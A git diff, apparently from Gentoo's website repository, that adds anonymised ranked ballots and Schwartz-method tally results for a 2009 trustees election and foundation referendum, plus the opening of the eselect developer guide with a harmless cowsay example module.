+wltjr
+tgall
+tsunam
+fmccor
+je_fro
+jakub
+patrick
+--------- confirmation 8c01 ---------
+tsunam
+fmccor
+wltjr
+tgall
+patrick
+jakub
+NeddySeagoon
+je_fro
+--------- confirmation 917d ---------
+tgall
+je_fro wltjr
+NeddySeagoon
+fmccor
+tsunam
+patrick
+jakub
+--------- confirmation 91ee ---------
+fmccor wltjr
+tsunam NeddySeagoon
+tgall patrick
+jakub je_fro
+--------- confirmation 9308 ---------
+NeddySeagoon
+fmccor
+tsunam
+tgall
+patrick
+jakub
+wltjr
+je_fro
+--------- confirmation 999c ---------
+fmccor NeddySeagoon wltjr tsunam
+tgall je_fro
+jakub
+patrick
+--------- confirmation 99c9 ---------
+tsunam
+fmccor
+wltjr
+NeddySeagoon
+tgall
+jakub
+je_fro
+patrick
+--------- confirmation 9b2d ---------
+NeddySeagoon
+fmccor
+wltjr
+je_fro
+tsunam
+patrick
+tgall
+jakub
+--------- confirmation 9b8a ---------
+tgall tsunam jakub patrick fmccor wltjr je_fro NeddySeagoon
+--------- confirmation 9bcb ---------
+patrick
+jakub fmccor NeddySeagoon
+tgall wltjr
+je_fro
+tsunam
+--------- confirmation 9ca2 ---------
+wltjr
+jakub
+NeddySeagoon
+tgall
+fmccor
+je_fro
+tsunam
+patrick
+--------- confirmation 9f50 ---------
+fmccor
+tgall
+wltjr
+je_fro
+tsunam
+patrick
+NeddySeagoon
+jakub
+--------- confirmation a0c5 ---------
+tgall
+NeddySeagoon
+jakub
+wltjr
+tsunam
+patrick
+fmccor
+je_fro
+--------- confirmation a502 ---------
+tgall
+NeddySeagoon
+jakub
+fmccor
+wltjr
+je_fro
+patrick
+tsunam
+--------- confirmation a606 ---------
+jakub patrick
+fmccor wltjr tsunam NeddySeagoon
+je_fro tgall
+--------- confirmation a608 ---------
+jakub
+tsunam
+fmccor je_fro wltjr patrick NeddySeagoon tgall
+--------- confirmation a84e ---------
+tsunam
+wltjr
+fmccor
+tgall
+NeddySeagoon je_fro
+jakub
+patrick
+--------- confirmation a90e ---------
+jakub patrick
+fmccor NeddySeagoon
+wltjr tgall tsunam je_fro
+--------- confirmation a9ac ---------
+jakub
+patrick
+tsunam
+wltjr
+je_fro
+tgall
+NeddySeagoon
+fmccor
+--------- confirmation ae73 ---------
+NeddySeagoon
+tgall
+tsunam
+je_fro
+wltjr
+patrick
+jakub
+fmccor
+--------- confirmation b061 ---------
+tgall
+fmccor
+jakub
+je_fro
+tsunam
+NeddySeagoon
+wltjr
+patrick
+--------- confirmation b157 ---------
+tsunam
+tgall
+NeddySeagoon
+wltjr
+je_fro
+fmccor
+jakub
+patrick
+--------- confirmation b195 ---------
+fmccor tsunam tgall
+--------- confirmation b1cf ---------
+tsunam wltjr tgall je_fro fmccor NeddySeagoon
+jakub
+patrick
+--------- confirmation b2b0 ---------
+tgall tsunam
+NeddySeagoon fmccor
+wltjr je_fro jakub
+patrick
+--------- confirmation b43c ---------
+NeddySeagoon tsunam
+je_fro tgall wltjr
+fmccor
+jakub patrick
+--------- confirmation b48a ---------
+patrick jakub tsunam
+NeddySeagoon
+wltjr tgall fmccor je_fro
+--------- confirmation b575 ---------
+patrick tsunam wltjr NeddySeagoon tgall
+je_fro
+fmccor jakub
+--------- confirmation b5d8 ---------
+wltjr
+NeddySeagoon
+patrick
+je_fro tgall jakub fmccor tsunam
+--------- confirmation b6f8 ---------
+jakub
+je_fro
+wltjr
+NeddySeagoon
+fmccor
+tsunam
+tgall
+patrick
+--------- confirmation b742 ---------
+fmccor
+wltjr
+tsunam
+tgall
+jakub
+patrick
+je_fro
+NeddySeagoon
+--------- confirmation badb ---------
+tsunam
+NeddySeagoon fmccor je_fro tgall
+wltjr patrick
+jakub
+--------- confirmation bd39 ---------
+wltjr
+fmccor
+NeddySeagoon
+tgall
+je_fro
+tsunam jakub
+patrick
+--------- confirmation c045 ---------
+tsunam
+tgall
+fmccor
+wltjr
+je_fro
+NeddySeagoon
+patrick
+jakub
+--------- confirmation c163 ---------
+NeddySeagoon
+fmccor
+wltjr
+jakub
+patrick
+tgall
+tsunam
+je_fro
+--------- confirmation c18a ---------
+fmccor jakub je_fro NeddySeagoon patrick tgall tsunam wltjr
+--------- confirmation c3fb ---------
+NeddySeagoon tsunam
+wltjr tgall fmccor
+patrick je_fro
+jakub
+--------- confirmation c6ed ---------
+je_fro wltjr tgall fmccor tsunam
+jakub
+NeddySeagoon
+patrick
+--------- confirmation c93a ---------
+tsunam wltjr
+fmccor
+NeddySeagoon tgall
+je_fro
+patrick
+jakub
+--------- confirmation cab2 ---------
+wltjr
+NeddySeagoon
+fmccor je_fro
+patrick jakub tgall
+tsunam
+--------- confirmation ce35 ---------
+tsunam
+NeddySeagoon wltjr fmccor
+je_fro tgall
+patrick jakub
+--------- confirmation 14cc ---------
+tsunam
+tgall
+NeddySeagoon
+fmccor
+wltjr
+je_fro
+patrick jakub
+--------- confirmation d068 ---------
+NeddySeagoon fmccor
+patrick
+wltjr jakub je_fro
+tsunam
+tgall
+--------- confirmation d093 ---------
+je_fro
+tgall fmccor
+NeddySeagoon
+jakub
+wltjr
+tsunam
+patrick
+--------- confirmation d28e ---------
+jakub
+tgall fmccor
+tsunam
+je_fro wltjr patrick NeddySeagoon
+--------- confirmation d7f2 ---------
+tgall
+NeddySeagoon
+fmccor
+je_fro
+tsunam
+wltjr
+patrick
+jakub
+--------- confirmation 159a ---------
+fmccor
+wltjr NeddySeagoon tsunam
+tgall jakub patrick je_fro
+--------- confirmation d917 ---------
+fmccor tsunam NeddySeagoon tgall wltjr
+--------- confirmation dee1 ---------
+NeddySeagoon
+fmccor
+wltjr
+tsunam
+tgall
+jakub
+je_fro
+patrick
+--------- confirmation dfd4 ---------
+wltjr
+NeddySeagoon
+tsunam
+fmccor
+je_fro
+tgall
+jakub
+patrick
+--------- confirmation e13c ---------
+NeddySeagoon
+fmccor
+patrick tgall tsunam jakub wltjr je_fro
+--------- confirmation e48b ---------
+tgall fmccor tsunam NeddySeagoon
+patrick wltjr
+jakub je_fro
+--------- confirmation e879 ---------
+NeddySeagoon
+tsunam
+wltjr
+je_fro
+tgall
+fmccor
+patrick jakub
+--------- confirmation ecaf ---------
+tgall
+fmccor
+je_fro
+NeddySeagoon
+patrick tsunam
+wltjr jakub
+--------- confirmation faf4 ---------
+fmccor tgall wltjr tsunam NeddySeagoon je_fro
+jakub
+patrick
+--------- confirmation 196f ---------
+tsunam NeddySeagoon tgall
+fmccor je_fro
+patrick wltjr jakub
+--------- confirmation 1987 ---------
+NeddySeagoon fmccor
+jakub patrick
+je_fro tgall
+tsunam
+wltjr
+--------- confirmation fff6 ---------
+wltjr
+tsunam
+fmccor je_fro tgall NeddySeagoon
+jakub
+patrick
+--------- confirmation 1a98 ---------
+NeddySeagoon tgall tsunam wltjr
+fmccor je_fro
+jakub patrick
+--------- confirmation 1aa0 ---------
+tgall
+tsunam
+NeddySeagoon
+je_fro
+wltjr
+fmccor jakub patrick
+--------- confirmation 21d5 ---------
+NeddySeagoon
+jakub
+--------- confirmation 2301 ---------
+fmccor
+je_fro tsunam tgall
+NeddySeagoon
+jakub patrick wltjr
+--------- confirmation 005c ---------
+jakub
+fmccor
+tsunam
+NeddySeagoon
+je_fro
+wltjr
+patrick
+tgall
+--------- confirmation 2544 ---------
+fmccor
+wltjr
+NeddySeagoon
+tsunam
+tgall
+je_fro
+patrick
+jakub
diff --git a/xml/htdocs/proj/en/elections/trustees/2009/foundation-referendum-2009-01-results.txt b/xml/htdocs/proj/en/elections/trustees/2009/foundation-referendum-2009-01-results.txt
new file mode 100644
index 00000000..9e7124c6
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/trustees/2009/foundation-referendum-2009-01-results.txt
@@ -0,0 +1,27 @@
+yes
+no
+
+         no    yes
+  no    ***      6
+ yes     46    ***
+
+option no is eliminated (yes trans-defeats no, and no does not trans-defeat yes)
+the Schwartz set is {yes}
+
+result: option yes wins
+
+*** Running another pass to find the next winners... ***
+
+         no    yes
+  no    ***      6
+ yes     -1    +++
+
+the Schwartz set is {no}
+
+result: option no wins
+
+*** Finished ranking candidates ***
+
+Final ranked list:
+yes
+no
diff --git a/xml/htdocs/proj/en/elections/trustees/2009/master-foundation-referendum-2009-01.txt b/xml/htdocs/proj/en/elections/trustees/2009/master-foundation-referendum-2009-01.txt
new file mode 100644
index 00000000..66c46c70
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/trustees/2009/master-foundation-referendum-2009-01.txt
@@ -0,0 +1,150 @@
+--------- confirmation 2954 ---------
+yes
+no
+--------- confirmation 29d9 ---------
+yes
+no
+--------- confirmation 2dfe ---------
+yes
+no
+--------- confirmation 3027 ---------
+no
+yes
+--------- confirmation 30c1 ---------
+yes
+no
+--------- confirmation 34fa ---------
+yes
+no
+--------- confirmation 3d01 ---------
+yes
+no
+--------- confirmation 468d ---------
+yes
+no
+--------- confirmation 4915 ---------
+yes
+--------- confirmation 525f ---------
+yes no
+--------- confirmation 5863 ---------
+yes
+no
+--------- confirmation 5941 ---------
+yes
+no
+--------- confirmation 0b4d ---------
+yes
+no
+--------- confirmation 7368 ---------
+yes
+no
+--------- confirmation 7492 ---------
+yes
+--------- confirmation 75a3 ---------
+yes
+no
+--------- confirmation 76e2 ---------
+yes
+no
+--------- confirmation 7767 ---------
+no
+yes
+--------- confirmation 7934 ---------
+yes
+no
+--------- confirmation 7b70 ---------
+yes
+no
+--------- confirmation 80a1 ---------
+yes
+--------- confirmation 866a ---------
+yes
+no
+--------- confirmation 9299 ---------
+yes
+no
+--------- confirmation 9302 ---------
+yes
+no
+--------- confirmation 956e ---------
+yes
+--------- confirmation 9b37 ---------
+yes
+--------- confirmation a40a ---------
+yes
+no
+--------- confirmation a61b ---------
+yes
+no
+--------- confirmation a648 ---------
+yes
+--------- confirmation acae ---------
+yes
+no
+--------- confirmation b67d ---------
+yes
+no
+--------- confirmation 1252 ---------
+yes
+no
+--------- confirmation b9eb ---------
+yes
+no
+--------- confirmation bc06 ---------
+no
+yes
+--------- confirmation bc50 ---------
+yes
+no
+--------- confirmation be99 ---------
+yes
+no
+--------- confirmation c1a1 ---------
+yes
+no
+--------- confirmation c4a4 ---------
+yes
+no
+--------- confirmation c8c7 ---------
+yes
+no
+--------- confirmation 150e ---------
+no
+yes
+--------- confirmation d2d5 ---------
+yes
+no
+--------- confirmation d486 ---------
+yes
+no
+--------- confirmation d4b4 ---------
+no
+--------- confirmation d53c ---------
+yes
+no
+--------- confirmation daaf ---------
+no
+yes
+--------- confirmation e30f ---------
+yes
+no
+--------- confirmation e685 ---------
+yes
+no
+--------- confirmation ead4 ---------
+yes
+no
+--------- confirmation ed9f ---------
+yes
+no
+--------- confirmation 17f0 ---------
+yes
+--------- confirmation f262 ---------
+yes
+no
+--------- confirmation f5d8 ---------
+yes
+no
+--------- confirmation 1be9 ---------
+yes
+no
diff --git a/xml/htdocs/proj/en/elections/trustees/2009/master-trustees2009.txt b/xml/htdocs/proj/en/elections/trustees/2009/master-trustees2009.txt
new file mode 100644
index 00000000..1ac8108c
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/trustees/2009/master-trustees2009.txt
@@ -0,0 +1,341 @@
+--------- confirmation 2dc6 ---------
+quantumsummers Patrick
+robbat2
+musikc
+--------- confirmation 2e2f ---------
+quantumsummers
+robbat2
+Patrick
+musikc
+--------- confirmation 2fbf ---------
+Patrick
+robbat2
+musikc
+quantumsummers
+--------- confirmation 3007 ---------
+robbat2
+quantumsummers
+Patrick
+musikc
+--------- confirmation 3102 ---------
+robbat2 musikc quantumsummers
+Patrick
+--------- confirmation 3278 ---------
+Patrick quantumsummers
+robbat2
+--------- confirmation 348d ---------
+quantumsummers
+robbat2
+Patrick
+musikc
+--------- confirmation 4522 ---------
+quantumsummers musikc
+Patrick robbat2
+--------- confirmation 070a ---------
+robbat2 quantumsummers
+musikc
+Patrick
+--------- confirmation 4753 ---------
+musikc
+robbat2
+quantumsummers
+Patrick
+--------- confirmation 47b2 ---------
+robbat2
+quantumsummers Patrick musikc
+--------- confirmation 4b12 ---------
+quantumsummers
+Patrick
+robbat2
+musikc
+--------- confirmation 50c0 ---------
+robbat2
+quantumsummers
+Patrick
+musikc
+--------- confirmation 5556 ---------
+Patrick robbat2
+musikc
+quantumsummers
+--------- confirmation 559d ---------
+robbat2
+musikc
+Patrick
+quantumsummers
+--------- confirmation 55b7 ---------
+robbat2 quantumsummers Patrick musikc
+--------- confirmation 564a ---------
+quantumsummers
+Patrick
+robbat2
+musikc
+--------- confirmation 5d14 ---------
+robbat2 quantumsummers
+musikc
+Patrick
+--------- confirmation 630f ---------
+quantumsummers
+musikc robbat2 Patrick
+--------- confirmation 6629 ---------
+robbat2
+quantumsummers
+musikc Patrick
+--------- confirmation 66d6 ---------
+quantumsummers
+robbat2
+musikc Patrick
+--------- confirmation 0a59 ---------
+robbat2
+musikc
+Patrick quantumsummers
+--------- confirmation 68f1 ---------
+robbat2
+Patrick
+quantumsummers
+musikc
+--------- confirmation 6c73 ---------
+musikc robbat2
+Patrick quantumsummers
+--------- confirmation 6c74 ---------
+quantumsummers
+robbat2
+musikc Patrick
+--------- confirmation 6e48 ---------
+quantumsummers
+robbat2
+musikc
+Patrick
+--------- confirmation 0b17 ---------
+robbat2
+quantumsummers musikc
+Patrick
+--------- confirmation 6fef ---------
+Patrick robbat2
+quantumsummers
+musikc
+--------- confirmation 7078 ---------
+robbat2
+quantumsummers
+Patrick
+musikc
+--------- confirmation 710f ---------
+robbat2
+quantumsummers
+musikc
+Patrick
+--------- confirmation 0d0e ---------
+robbat2
+Patrick
+quantumsummers musikc
+--------- confirmation 0d10 ---------
+robbat2
+quantumsummers musikc
+Patrick
+--------- confirmation 860e ---------
+quantumsummers musikc
+robbat2
+Patrick
+--------- confirmation 8993 ---------
+robbat2 quantumsummers
+musikc
+Patrick
+--------- confirmation 8a8b ---------
+robbat2
+quantumsummers
+musikc
+Patrick
+--------- confirmation 8e4f ---------
+robbat2
+quantumsummers
+musikc
+Patrick
+--------- confirmation 0e3f ---------
+quantumsummers
+robbat2 musikc
+Patrick
+--------- confirmation 9396 ---------
+robbat2
+quantumsummers
+Patrick
+musikc
+--------- confirmation 0f9d ---------
+robbat2 quantumsummers
+Patrick musikc
+--------- confirmation 9de8 ---------
+robbat2
+musikc
+Patrick quantumsummers
+--------- confirmation a0b5 ---------
+robbat2
+musikc
+Patrick
+quantumsummers
+--------- confirmation a23d ---------
+robbat2
+musikc Patrick quantumsummers
+--------- confirmation a2b7 ---------
+robbat2
+musikc quantumsummers Patrick
+--------- confirmation 111c ---------
+robbat2
+Patrick
+musikc quantumsummers
+--------- confirmation abcd ---------
+robbat2
+Patrick
+musikc
+quantumsummers
+--------- confirmation acdb ---------
+robbat2 quantumsummers
+Patrick
+musikc
+--------- confirmation af92 ---------
+robbat2
+quantumsummers
+musikc Patrick
+--------- confirmation b6c3 ---------
+robbat2
+musikc
+quantumsummers
+Patrick
+--------- confirmation 1288 ---------
+quantumsummers
+musikc
+robbat2
+Patrick
+--------- confirmation bfa0 ---------
+robbat2 quantumsummers
+Patrick
+musikc
+--------- confirmation c025 ---------
+quantumsummers
+robbat2
+musikc Patrick
+--------- confirmation c43d ---------
+quantumsummers
+robbat2
+Patrick
+musikc
+--------- confirmation c6a1 ---------
+Patrick
+robbat2
+quantumsummers
+musikc
+--------- confirmation c9e3 ---------
+robbat2
+musikc Patrick
+quantumsummers
+--------- confirmation d0b1 ---------
+robbat2
+quantumsummers
+musikc Patrick
+--------- confirmation 1564 ---------
+musikc
+robbat2 quantumsummers
+Patrick
+--------- confirmation d7a3 ---------
+musikc
+quantumsummers
+robbat2
+Patrick
+--------- confirmation d8c5 ---------
+quantumsummers
+robbat2
+musikc
+Patrick
+--------- confirmation dc30 ---------
+quantumsummers
+robbat2 musikc
+Patrick
+--------- confirmation dd54 ---------
+quantumsummers robbat2
+musikc Patrick
+--------- confirmation df46 ---------
+musikc
+robbat2
+quantumsummers
+Patrick
+--------- confirmation df54 ---------
+robbat2
+musikc
+Patrick quantumsummers
+--------- confirmation 1657 ---------
+quantumsummers
+robbat2
+Patrick
+musikc
+--------- confirmation e2a5 ---------
+quantumsummers
+robbat2
+musikc Patrick
+--------- confirmation 16e2 ---------
+robbat2
+quantumsummers
+--------- confirmation e532 ---------
+robbat2
+Patrick
+musikc
+quantumsummers
+--------- confirmation e6d7 ---------
+robbat2
+Patrick
+quantumsummers
+musikc
+--------- confirmation eca5 ---------
+quantumsummers robbat2
+Patrick musikc
+--------- confirmation edc4 ---------
+quantumsummers
+musikc robbat2
+Patrick
+--------- confirmation f033 ---------
+robbat2
+Patrick
+quantumsummers
+musikc
+--------- confirmation f623 ---------
+robbat2
+quantumsummers
+Patrick musikc
+--------- confirmation f95b ---------
+robbat2
+Patrick
+musikc
+quantumsummers
+--------- confirmation f9b8 ---------
+robbat2
+quantumsummers
+Patrick
+musikc
+--------- confirmation fa1d ---------
+robbat2 musikc
+quantumsummers
+Patrick
+--------- confirmation fd72 ---------
+robbat2
+quantumsummers
+Patrick
+musikc
+--------- confirmation fe10 ---------
+robbat2
+Patrick
+musikc quantumsummers
+--------- confirmation fe9f ---------
+quantumsummers
+robbat2
+musikc
+Patrick
+--------- confirmation ff55 ---------
+quantumsummers
+robbat2
+musikc
+Patrick
+--------- confirmation 1c7f ---------
+robbat2
+Patrick
+quantumsummers
+--------- confirmation 1f0d ---------
+quantumsummers
+robbat2
+musikc
+Patrick
diff --git a/xml/htdocs/proj/en/elections/trustees/2009/trustees2009-results.txt b/xml/htdocs/proj/en/elections/trustees/2009/trustees2009-results.txt
new file mode 100644
index 00000000..76228935
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/trustees/2009/trustees2009-results.txt
@@ -0,0 +1,64 @@
+Patrick                                                                     
+musikc                                                                      
+quantumsummers                                                              
+robbat2                                                                     
+
+                Patri  musik  quant  robba
+       Patrick    ***     30     17      6
+        musikc     32    ***     18      7
+quantumsummers     53     50    ***     25
+       robbat2     69     65     44    ***
+
+option Patrick is eliminated (musikc trans-defeats Patrick, and Patrick does not trans-defeat musikc)
+option musikc is eliminated (quantumsummers trans-defeats musikc, and musikc does not trans-defeat quantumsummers)
+option quantumsummers is eliminated (robbat2 trans-defeats quantumsummers, and quantumsummers does not trans-defeat robbat2)
+the Schwartz set is {robbat2}                                                                                               
+
+result: option robbat2 wins
+
+*** Running another pass to find the next winners... ***
+
+                Patri  musik  quant  robba
+       Patrick    ***     30     17      6
+        musikc     32    ***     18      7
+quantumsummers     53     50    ***     25
+       robbat2     -1     -1     -1    +++
+
+option Patrick is eliminated (musikc trans-defeats Patrick, and Patrick does not trans-defeat musikc)
+option musikc is eliminated (quantumsummers trans-defeats musikc, and musikc does not trans-defeat quantumsummers)
+the Schwartz set is {quantumsummers}
+
+result: option quantumsummers wins
+
+*** Running another pass to find the next winners... ***
+
+                Patri  musik  quant  robba
+       Patrick    ***     30     17      6
+        musikc     32    ***     18      7
+quantumsummers     -1     -1    +++     -1
+       robbat2     -1     -1     -1    +++
+
+option Patrick is eliminated (musikc trans-defeats Patrick, and Patrick does not trans-defeat musikc)
+the Schwartz set is {musikc}
+
+result: option musikc wins
+
+*** Running another pass to find the next winners... ***
+
+                Patri  musik  quant  robba
+       Patrick    ***     30     17      6
+        musikc     -1    +++     -1     -1
+quantumsummers     -1     -1    +++     -1
+       robbat2     -1     -1     -1    +++
+
+the Schwartz set is {Patrick}
+
+result: option Patrick wins
+
+*** Finished ranking candidates ***
+
+Final ranked list:
+robbat2
+quantumsummers
+musikc
+Patrick
\ No newline at end of file
diff --git a/xml/htdocs/proj/en/eselect/dev-guide.xml b/xml/htdocs/proj/en/eselect/dev-guide.xml
new file mode 100644
index 00000000..700c5d98
--- /dev/null
+++ b/xml/htdocs/proj/en/eselect/dev-guide.xml
@@ -0,0 +1,658 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/eselect/dev-guide.xml,v 1.13 2009/11/07 17:20:29 ulm Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/eselect/dev-guide.xml">
+<title>eselect Developer Reference</title>
+
+<author title="Author">
+  <mail link="ciaranm@gentoo.org">Ciaran McCreesh</mail>
+</author>
+<author title="Author">
+  <mail link="kugelfang@gentoo.org">Danny van Dyk</mail>
+</author>
+<author title="Author">
+  <mail link="ulm@gentoo.org">Ulrich Müller</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+
+<abstract>
+This document is a reference for people who want to develop the eselect tool.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2.6</version>
+<date>2009-11-07</date>
+
+<chapter>
+<title>Introduction</title>
+
+<section>
+<title>About eselect</title>
+<body>
+
+<p>
+  eselect is a framework for simplyfying and introducing consistency to the
+  various <c>foo-config</c> and <c>blah-update</c> tools. It is an option for
+  developers who don't like reinventing the wheel, not a mandatory tool.
+</p>
+
+<note>
+  This document assumes some basic familiarity with eselect. Please read then
+  <uri link="user-guide.xml">eselect User Guide</uri> in case you do not know
+  the basics of eselect.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Getting Started</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+  When porting your application to use the eselect framework, you will
+  generally need to create a module. Often this can be heavily based upon an
+  existing module, so check to see whether there is something that does almost
+  what you need first (symlink handling is a good example of something that
+  can be copied rather than reinvented).
+</p>
+
+</body>
+</section>
+
+<section>
+<title>A Simple Module</title>
+<body>
+
+<p>
+  It's easiest to illustrate by example. Here's a simple module, named
+  <c>cow.eselect</c>. It has two actions, <c>moo</c> and <c>think</c>, plus
+  the standard <c>help</c>, <c>usage</c> and <c>version</c> actions, and is
+  installed to <path>$(datadir)/eselect/modules/</path>.
+</p>
+
+<pre caption="cow.eselect code">
+# -*-eselect-*-  vim: ft=eselect
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# &#36;Id: &#36;
+
+DESCRIPTION="Do things to a cow"
+MAINTAINER="foo@gentoo.org"
+SVN_DATE='&#36;Date: &#36;'
+VERSION=$(svn_date_to_version "${SVN_DATE}")
+
+### moo action
+
+describe_moo() {
+    echo "Say moo"
+}
+
+describe_moo_parameters() {
+    echo "&lt;text&gt;"
+}
+
+describe_moo_options() {
+    echo "text : Text to display (optional)"
+    echo "--dead : Use a dead cow"
+    echo "--borg : Use a borged cow"
+}
+
+
+do_moo() {
+    local params=
+    while [[ ${1#--} != ${1} ]] ; do
+        if [[ "--dead" == ${1} ]] ; then
+            shift
+            params="${params} -d"
+        elif [[ "--borg" == "${1}" ]] ; then
+            shift
+            params="${params} -b"
+        elif [[ "--" == "${1}" ]] ; then
+            break
+        else
+            die -q "Unknown parameter ${1}"
+        fi
+    done
+
+    echo "${@:-I am a cow}" | cowsay ${params}
+}
+
+### think action
+
+describe_think() {
+    echo "Show a pensive cow"
+}
+
+describe_think_parameters() {
+    echo "&lt;text&gt;"
+}
+
+describe_think_options() {
+    echo "text : Text to display"
+    echo "--sheep : Use a sheep rather than a cow"
+}
+
+do_think() {
+    local params=
+    while [[ ${1#--} != ${1} ]] ; do
+        if [[ "--sheep" == ${1} ]] ; then
+            shift
+            params="${params} -f sheep"
+        elif [[ "--" == "${1}" ]] ; then
+            break
+        else
+            die -q "Unknown parameter ${1}"
+        fi
+    done
+
+    echo "${@:-Am I a cow?}" | cowthink ${params}
+}
+</pre>
+
+<p>
+  As you can see, the format is fairly similar to that of an ebuild – it is
+  a bash script which is run in a special environment. This is intentional.
+  There are DESCRIPTION and VERSION variables globally which are used by
+  <c>eselect</c> and some of the default action handlers, and a series of
+  functions.
+</p>
+
+<warn>
+  In ebuilds, global scope code can cause problems. In eselect modules,
+  global scope code is <e>absolutely forbidden</e>. Your module <e>will</e>
+  be sourced for tasks other than running your actions. For example, if
+  <c>eselect modules list</c> is executed, your module will be sourced to
+  obtain the description. Any code being run here would be a very bad thing.
+</warn>
+
+<p>
+  Unlike ebuilds, the function names are not fixed. Any function whose name
+  starts with <c>do_</c> is considered to be an action implementation.
+  It is conventional to have a <c>describe_</c> function for every <c>do_</c>
+  function that gives a short description of the function – this is used for
+  <c>eselect modulename help</c>, for example.
+  The <c>describe_actions_options</c> and <c>describe_action_parameters</c>
+  functions are optional.
+</p>
+
+<note>
+  If eselect is invoked as <c>cow-config</c> or <c>cow-update</c> (for
+  example, via a symlink), it will automatically select the cow module.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Standard Action Names</title>
+<body>
+
+<p>
+  The following list contains suggested allowed names for actions. If there is
+  no suitable name on the list for your task, it is best to ask for the list
+  to be updated – for consistency, it would be nice to have a standardised
+  list of action names. (The cow module, being a silly demonstration module,
+  is exempt.)
+</p>
+
+<dl>
+  <dt>help</dt><dd>Display a help message. Automatic.</dd>
+  <dt>usage</dt><dd>Display a usage message. Automatic.</dd>
+  <dt>version</dt><dd>Display the current version. Automatic.</dd>
+  <dt>show</dt>
+  <dd>
+    Used to display the current provider of a symlink, or the currently
+    installed module, or the current status.
+  </dd>
+  <dt>list</dt>
+  <dd>
+    Used to display all available providers of a symlink, or all available
+    modules.
+  </dd>
+  <dt>set</dt><dd>Used to set a new provider or a symlink.</dd>
+  <dt>enable</dt><dd>Used to enable an optional feature.</dd>
+  <dt>disable</dt><dd>Used to disable an optional feature.</dd>
+  <dt>scan</dt><dd>Read information off the current filesystem.</dd>
+  <dt>update</dt>
+  <dd>
+    Used to automatically select a new provider for a symlink (as opposed to
+    <c>set</c>, which generally takes a parameter manually selecting the
+    provider) or to gather system information that is vital to further
+    actions.
+  </dd>
+</dl>
+
+<note>
+  You can override the <c>help</c>, <c>usage</c> and <c>version</c> actions.
+  They are provided by default by <path>lib/default.eselect</path>. You should
+  only do this with a good reason. Removing them is not a good idea,
+  <c>eselect</c> assumes that they exist.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Utility Functions</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+  eselect provides many utility functions. These are useful for standardised
+  output formatting. Where possible, these should be used, especially for
+  output. If a standard function is not available for the output format
+  required, consider implementing one.
+</p>
+
+<p>
+  The following categories of function are available by default:
+</p>
+
+<ul>
+  <li><uri link="#core">General Utility Functions</uri></li>
+  <li><uri link="#output">Output Utility Functions</uri></li>
+  <li><uri link="#tests">Test Functions</uri></li>
+  <li><uri link="#path-manipulation">Path-Manipulation Functions</uri></li>
+  <li><uri link="#manip">Manipulation Functions</uri></li>
+  <li><uri link="#config">Configuration Functions</uri></li>
+  <li><uri link="#multilib">Multilib Functions</uri></li>
+  <li><uri link="#package-manager">Package-Manager Functions</uri></li>
+</ul>
+
+<p>
+  To use any of the other functions, you have to first <c>inherit</c> the
+  corresponding library file.
+</p>
+
+</body>
+</section>
+
+<section id="core">
+<title>General Utility Functions</title>
+<body>
+
+<p>
+  These are implemented in <path>libs/core.bash</path>.
+</p>
+
+<dl>
+  <dt>die</dt>
+  <dd>
+    The <c>die</c> function (which, unlike its ebuild counterpart, <e>can</e>
+    be called from within subshells) is used to exit with a fatal error.
+    It should be invoked as <c>die -q "Message to display"</c>. If the
+    <c>-q</c> is not provided, a stacktrace will be displayed – this should
+    never happen because of user input error, only abnormal conditions.
+  </dd>
+
+  <dt>check_do</dt>
+  <dd>
+    The <c>check_do</c> utility function checks that the first parameter is
+    a function, and then calls it with any additional parameters as its
+    arguments. If the function does not exist, <c>die</c> is called. Again,
+    this is mostly internal.
+  </dd>
+
+  <dt>do_action</dt>
+  <dd>
+    The <c>do_action</c> utility function is the correct way to call a utility
+    function which is defined in another module. The first parameter is the
+    action, additional parameters are passed as arguments.
+  </dd>
+
+  <dt>inherit</dt>
+  <dd>
+    The <c>inherit</c> function sources eselect library files based on their
+    name. In order to source the file <path>libs/foo.bash</path> you have to
+    add <c>inherit foo</c> in global scope of your module.
+  </dd>
+
+  <dt>sed</dt>
+  <dd>
+    The <c>sed</c> function is a wrapper around GNU <c>sed</c>.
+  </dd>
+</dl>
+
+</body>
+</section>
+
+<section id="output">
+<title>Output Utility Functions</title>
+<body>
+
+<p>
+  These are implemented in <path>libs/output.bash</path>
+</p>
+
+<dl>
+  <dt>write_error_msg</dt>
+  <dd>
+    The <c>write_error_msg</c> function displays an error message in the
+    standard format. It is similar to <c>eerror</c>.
+  </dd>
+
+  <dt>write_warning_msg</dt>
+  <dd>
+    The <c>write_warning_msg</c> function displays a warning message in the
+    standard format. It is similar to <c>ewarn</c>.
+  </dd>
+
+  <dt>The write_list_ family of functions</dt>
+  <dd>
+    To display a list, the <c>write_list_</c> family of functions should be
+    used. If <c>-p</c> is passed as the first argument to these functions,
+    <e>plain</e> highlighting is used.
+  </dd>
+
+  <dt>write_list_start</dt>
+  <dd>
+    Lists should always start with a header, which can be displayed using
+    <c>write_list_start The Header</c>.
+  </dd>
+
+  <dt>write_numbered_list_entry</dt>
+  <dd>
+    To display a numbered list, the <c>write_numbered_list_entry</c> function
+    should be used for each item. The first parameter is the list item number,
+    the second is the list item text (remember to quote this).
+  </dd>
+
+  <dt>write_kv_list_entry</dt>
+  <dd>
+    To display a keyword/value list, the <c>write_kv_list_entry</c> function
+    should be used. The first parameter is the key, the second the value.
+  </dd>
+
+  <dt>write_numbered_list</dt>
+  <dd>
+    The <c>write_numbered_list</c> function is a wrapper around
+    <c>write_numbered_list_entry</c> that handles the numbering automatically.
+    Each parameter passed is displayed as a numbered list item, the first with
